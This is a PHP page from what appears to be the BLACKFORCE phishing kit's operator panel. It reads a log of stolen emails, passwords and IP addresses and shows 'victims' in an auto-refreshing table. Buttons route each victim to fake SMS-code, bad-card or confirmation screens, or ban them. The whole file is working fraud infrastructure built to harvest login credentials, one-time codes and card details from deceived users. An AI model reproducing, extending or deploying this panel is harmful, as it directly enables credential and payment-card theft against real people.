<?php
/**
 * Victims Management Page
 * Shows all active victims with detailed information and control options
 */

session_start();

// Check if user is logged in
if (!isset($_SESSION['panel_logged_in']) || $_SESSION['panel_logged_in'] !== true) {
    header('Location: login.php');
    exit;
}

// Define paths
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';

// Get all victims from logs
function getVictims() {
    $victims = [];
    $credentialsLog = __DIR__ . '/../logs/credentials.log';
    
    if (file_exists($credentialsLog)) {
        $lines = file($credentialsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        foreach ($lines as $line) {
            // Parse log entry
            if (preg_match('/\[(.*?)\].*IP:\s*([0-9.]+).*Email:\s*([^\s]+).*Password:\s*(.*)/', $line, $matches)) {
                $timestamp = $matches[1];
                $ip = $matches[2];
                $email = $matches[3];
                $password = isset($matches[4]) ? trim($matches[4]) : '';
                
                // Check if victim already exists (update with latest info)
                $found = false;
                foreach ($victims as &$victim) {
                    if ($victim['ip'] === $ip) {
                        $victim['email'] = $email;
                        $victim['password'] = $password;
                        $victim['last_seen'] = $timestamp;
                        $found = true;
                        break;
                    }
                }
                
                if (!$found) {
                    $victims[] = [
                        'ip' => $ip,
                        'email' => $email,
                        'password' => $password,
                        'first_seen' => $timestamp,
                        'last_seen' => $timestamp,
                        'status' => getVictimStatus($ip),
                        'country' => getCountryFromIP($ip)
                    ];
                }
            }
        }
    }
    
    // Sort by last seen (most recent first)
    usort($victims, function($a, $b) {
        return strtotime($b['last_seen']) - strtotime($a['last_seen']);
    });
    
    return $victims;
}

// Get victim status from action files
function getVictimStatus($ip) {
    $actionFiles = [
        'sms' => __DIR__ . '/action/ip_sms.txt',
        'badsms' => __DIR__ . '/action/ip_badsms.txt',
        'badcc' => __DIR__ . '/action/ip_badcc.txt',
        'confirm' => __DIR__ . '/action/ip_confirm.txt',
        'ban' => __DIR__ . '/botActBan/ip_ban.txt'
    ];
    
    foreach ($actionFiles as $status => $file) {
        if (file_exists($file)) {
            $content = file_get_contents($file);
            if (strpos($content, $ip) !== false) {
                return $status;
            }
        }
    }
    
    return 'waiting';
}

// Get country from IP (simple version)
function getCountryFromIP($ip) {
    // You can integrate with ip-api.com or similar service
    // For now, return placeholder
    return '🌍';
}

$victims = getVictims();
$totalVictims = count($victims);
$activeVictims = count(array_filter($victims, function($v) {
    return $v['status'] !== 'confirm' && $v['status'] !== 'ban';
}));
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow, noimageindex, noarchive, nocache, nosnippet">
    <title>Victims Management | BLACKFORCE</title>
    <link rel="shortcut icon" href="assets/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="assets/css/master.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Roboto', Arial, sans-serif;
            background: linear-gradient(135deg, #0f0c29, #302b63, #24243e);
            color: #fff;
            min-height: 100vh;
        }

        .nav {
            background: rgba(0, 0, 0, 0.8);
            padding: 15px 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 2px solid #1D976C;
        }

        .nav-brand {
            display: flex;
            align-items: center;
            gap: 15px;
        }

        .nav-brand img {
            height: 40px;
        }

        .nav-links {
            display: flex;
            gap: 10px;
        }

        .nav-link {
            color: #1D976C;
            text-decoration: none;
            padding: 10px 20px;
            border-radius: 5px;
            transition: all 0.3s;
            font-weight: bold;
        }

        .nav-link:hover {
            background: rgba(29, 185, 84, 0.2);
        }

        .nav-link.active {
            background: #1D976C;
            color: #000;
        }

        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 30px;
        }

        .header {
            text-align: center;
            margin-bottom: 40px;
        }

        .header h1 {
            font-size: 36px;
            color: #1D976C;
            margin-bottom: 10px;
            text-shadow: 0 0 20px rgba(29, 185, 84, 0.5);
        }

        .header p {
            color: #999;
            font-size: 16px;
        }

        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            margin-bottom: 40px;
        }

        .stat-card {
            background: rgba(0, 0, 0, 0.6);
            border: 2px solid #1D976C;
            border-radius: 15px;
            padding: 25px;
            text-align: center;
            transition: transform 0.3s;
        }

        .stat-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 30px rgba(29, 185, 84, 0.3);
        }

        .stat-card .icon {
            font-size: 40px;
            margin-bottom: 15px;
        }

        .stat-card .value {
            font-size: 36px;
            font-weight: bold;
            color: #1D976C;
            margin-bottom: 10px;
        }

        .stat-card .label {
            color: #999;
            font-size: 14px;
        }

        .controls {
            background: rgba(0, 0, 0, 0.6);
            border: 2px solid #1D976C;
            border-radius: 15px;
            padding: 20px;
            margin-bottom: 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 15px;
        }

        .search-box {
            flex: 1;
            min-width: 250px;
        }

        .search-box input {
            width: 100%;
            padding: 12px 20px;
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid #1D976C;
            border-radius: 25px;
            color: #fff;
            font-size: 14px;
        }

        .search-box input::placeholder {
            color: #999;
        }

        .filter-buttons {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }

        .filter-btn {
            padding: 10px 20px;
            background: rgba(29, 185, 84, 0.2);
            border: 1px solid #1D976C;
            border-radius: 20px;
            color: #1D976C;
            cursor: pointer;
            transition: all 0.3s;
            font-weight: bold;
        }

        .filter-btn:hover, .filter-btn.active {
            background: #1D976C;
            color: #000;
        }

        .victims-table-container {
            background: rgba(0, 0, 0, 0.6);
            border: 2px solid #1D976C;
            border-radius: 15px;
            overflow: hidden;
        }

        .victims-table {
            width: 100%;
            border-collapse: collapse;
        }

        .victims-table thead {
            background: #1D976C;
        }

        .victims-table th {
            padding: 15px;
            text-align: left;
            color: #000;
            font-weight: bold;
            font-size: 14px;
        }

        .victims-table td {
            padding: 15px;
            border-bottom: 1px solid rgba(29, 185, 84, 0.2);
            color: #fff;
            font-size: 14px;
        }

        .victims-table tr:hover {
            background: rgba(29, 185, 84, 0.1);
        }

        .status-badge {
            padding: 5px 12px;
            border-radius: 15px;
            font-size: 12px;
            font-weight: bold;
            display: inline-block;
        }

        .status-waiting {
            background: rgba(255, 193, 7, 0.2);
            color: #ffc107;
            border: 1px solid #ffc107;
        }

        .status-sms {
            background: rgba(29, 185, 84, 0.2);
            color: #1D976C;
            border: 1px solid #1D976C;
        }

        .status-badsms {
            background: rgba(255, 68, 68, 0.2);
            color: #ff4444;
            border: 1px solid #ff4444;
        }

        .status-badcc {
            background: rgba(255, 152, 0, 0.2);
            color: #ff9800;
            border: 1px solid #ff9800;
        }

        .status-confirm {
            background: rgba(0, 212, 255, 0.2);
            color: #00d4ff;
            border: 1px solid #00d4ff;
        }

        .status-ban {
            background: rgba(0, 0, 0, 0.5);
            color: #ff4444;
            border: 1px solid #ff4444;
        }

        .action-buttons {
            display: flex;
            gap: 5px;
            flex-wrap: wrap;
        }

        .action-btn {
            padding: 6px 12px;
            border-radius: 5px;
            text-decoration: none;
            font-size: 11px;
            font-weight: bold;
            transition: all 0.3s;
            display: inline-block;
            cursor: pointer;
        }

        .btn-sms {
            background: #1D976C;
            color: #000;
        }

        .btn-sms:hover {
            background: #26b87f;
            transform: scale(1.05);
        }

        .btn-badsms {
            background: #ff4444;
            color: #fff;
        }

        .btn-badsms:hover {
            background: #ff6666;
        }

        .btn-badcc {
            background: #ff9800;
            color: #000;
        }

        .btn-badcc:hover {
            background: #ffb333;
        }

        .btn-confirm {
            background: #00d4ff;
            color: #000;
        }

        .btn-confirm:hover {
            background: #33ddff;
        }

        .btn-ban {
            background: #000;
            color: #ff4444;
            border: 1px solid #ff4444;
        }

        .btn-ban:hover {
            background: #ff4444;
            color: #fff;
        }

        .empty-state {
            text-align: center;
            padding: 60px 20px;
            color: #999;
        }

        .empty-state .icon {
            font-size: 80px;
            margin-bottom: 20px;
            opacity: 0.5;
        }

        .empty-state h3 {
            font-size: 24px;
            margin-bottom: 10px;
        }

        .refresh-btn {
            position: fixed;
            bottom: 30px;
            right: 30px;
            width: 60px;
            height: 60px;
            background: #1D976C;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            cursor: pointer;
            box-shadow: 0 5px 20px rgba(29, 185, 84, 0.5);
            transition: all 0.3s;
        }

        .refresh-btn:hover {
            transform: scale(1.1) rotate(180deg);
        }

        @media (max-width: 768px) {
            .nav {
                flex-direction: column;
                gap: 15px;
            }

            .nav-links {
                flex-direction: column;
                width: 100%;
            }

            .controls {
                flex-direction: column;
            }

            .victims-table {
                font-size: 12px;
            }

            .victims-table th,
            .victims-table td {
                padding: 10px 5px;
            }

            .action-buttons {
                flex-direction: column;
            }
        }
    </style>
</head>
<body>
    <div class="nav">
        <div class="nav-brand">
            <img src="assets/hacker-25929.png" alt="Logo">
            <img src="assets/blackforce.png" alt="BlackForce">
        </div>
        <div class="nav-links">
            <a href="dashboard.php" class="nav-link">📊 Dashboard</a>
            <a href="victims.php" class="nav-link active">🎯 Victims</a>
            <a href="panel.php" class="nav-link">🎮 Control</a>
            <a href="settings.php" class="nav-link">⚙️ Settings</a>
            <a href="logout.php" class="nav-link">🚪 Logout</a>
        </div>
    </div>

    <div class="container">
        <div class="header">
            <h1>🎯 VICTIMS MANAGEMENT</h1>
            <p>Monitor and control all active victims in real-time</p>
        </div>

        <div class="stats-grid">
            <div class="stat-card">
                <div class="icon">👥</div>
                <div class="value"><?php echo $totalVictims; ?></div>
                <div class="label">Total Victims</div>
            </div>
            <div class="stat-card">
                <div class="icon">🔴</div>
                <div class="value"><?php echo $activeVictims; ?></div>
                <div class="label">Active Now</div>
            </div>
            <div class="stat-card">
                <div class="icon">✅</div>
                <div class="value"><?php echo $totalVictims - $activeVictims; ?></div>
                <div class="label">Completed</div>
            </div>
            <div class="stat-card">
                <div class="icon">📊</div>
                <div class="value"><?php echo $totalVictims > 0 ? round(($totalVictims - $activeVictims) / $totalVictims * 100) : 0; ?>%</div>
                <div class="label">Success Rate</div>
            </div>
        </div>

        <div class="controls">
            <div class="search-box">
                <input type="text" id="searchInput" placeholder="🔍 Search by IP, email, or country..." onkeyup="filterTable()">
            </div>
            <div class="filter-buttons">
                <button class="filter-btn active" onclick="filterStatus('all')">All</button>
                <button class="filter-btn" onclick="filterStatus('waiting')">⏳ Waiting</button>
                <button class="filter-btn" onclick="filterStatus('sms')">📲 SMS</button>
                <button class="filter-btn" onclick="filterStatus('confirm')">✅ Done</button>
            </div>
        </div>

        <div class="victims-table-container">
            <?php if (empty($victims)): ?>
                <div class="empty-state">
                    <div class="icon">🎯</div>
                    <h3>No Victims Yet</h3>
                    <p>Waiting for first victim to connect...</p>
                </div>
            <?php else: ?>
                <table class="victims-table" id="victimsTable">
                    <thead>
                        <tr>
                            <th>🌍 Country</th>
                            <th>📍 IP Address</th>
                            <th>📧 Email</th>
                            <th>🔑 Password</th>
                            <th>📊 Status</th>
                            <th>🕐 Last Seen</th>
                            <th>🎮 Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach ($victims as $victim): ?>
                            <tr data-status="<?php echo $victim['status']; ?>">
                                <td><?php echo $victim['country']; ?></td>
                                <td><strong><?php echo htmlspecialchars($victim['ip']); ?></strong></td>
                                <td><?php echo htmlspecialchars($victim['email']); ?></td>
                                <td><?php echo htmlspecialchars(substr($victim['password'], 0, 20)) . (strlen($victim['password']) > 20 ? '...' : ''); ?></td>
                                <td>
                                    <span class="status-badge status-<?php echo $victim['status']; ?>">
                                        <?php 
                                        $statusLabels = [
                                            'waiting' => '⏳ Waiting',
                                            'sms' => '📲 SMS',
                                            'badsms' => '⛔ Bad SMS',
                                            'badcc' => '💳 Bad CC',
                                            'confirm' => '✅ Confirmed',
                                            'ban' => '🛑 Banned'
                                        ];
                                        echo $statusLabels[$victim['status']] ?? '❓ Unknown';
                                        ?>
                                    </span>
                                </td>
                                <td><?php echo date('H:i:s', strtotime($victim['last_seen'])); ?></td>
                                <td>
                                    <div class="action-buttons">
                                        <a href="action/insert.php?ip=<?php echo $victim['ip']; ?>&view=sms" class="action-btn btn-sms" title="Send to SMS">📲</a>
                                        <a href="action/insert.php?ip=<?php echo $victim['ip']; ?>&view=badsms" class="action-btn btn-badsms" title="Bad SMS">⛔</a>
                                        <a href="action/insert.php?ip=<?php echo $victim['ip']; ?>&view=badcc" class="action-btn btn-badcc" title="Bad CC">💳</a>
                                        <a href="action/insert.php?ip=<?php echo $victim['ip']; ?>&view=confirm" class="action-btn btn-confirm" title="Confirm">✅</a>
                                        <a href="botActBan/banIpAct.php?ip=<?php echo $victim['ip']; ?>" class="action-btn btn-ban" title="Ban IP">🛑</a>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            <?php endif; ?>
        </div>
    </div>

    <div class="refresh-btn" onclick="location.reload()" title="Refresh">
        🔄
    </div>

    <script>
        // Auto-refresh every 10 seconds
        setInterval(function() {
            location.reload();
        }, 10000);

        // Search filter
        function filterTable() {
            const input = document.getElementById('searchInput');
            const filter = input.value.toUpperCase();
            const table = document.getElementById('victimsTable');
            const tr = table.getElementsByTagName('tr');

            for (let i = 1; i < tr.length; i++) {
                const td = tr[i].getElementsByTagName('td');
                let found = false;

                for (let j = 0; j < td.length; j++) {
                    if (td[j]) {
                        const txtValue = td[j].textContent || td[j].innerText;
                        if (txtValue.toUpperCase().indexOf(filter) > -1) {
                            found = true;
                            break;
                        }
                    }
                }

                tr[i].style.display = found ? '' : 'none';
            }
        }

        // Status filter
        let currentFilter = 'all';
        function filterStatus(status) {
            currentFilter = status;
            const table = document.getElementById('victimsTable');
            const tr = table.getElementsByTagName('tr');
            const buttons = document.querySelectorAll('.filter-btn');

            // Update active button
            buttons.forEach(btn => btn.classList.remove('active'));
            event.target.classList.add('active');

            // Filter rows
            for (let i = 1; i < tr.length; i++) {
                const rowStatus = tr[i].getAttribute('data-status');
                if (status === 'all' || rowStatus === status) {
                    tr[i].style.display = '';
                } else {
                    tr[i].style.display = 'none';
                }
            }
        }
    </script>
</body>
</html>
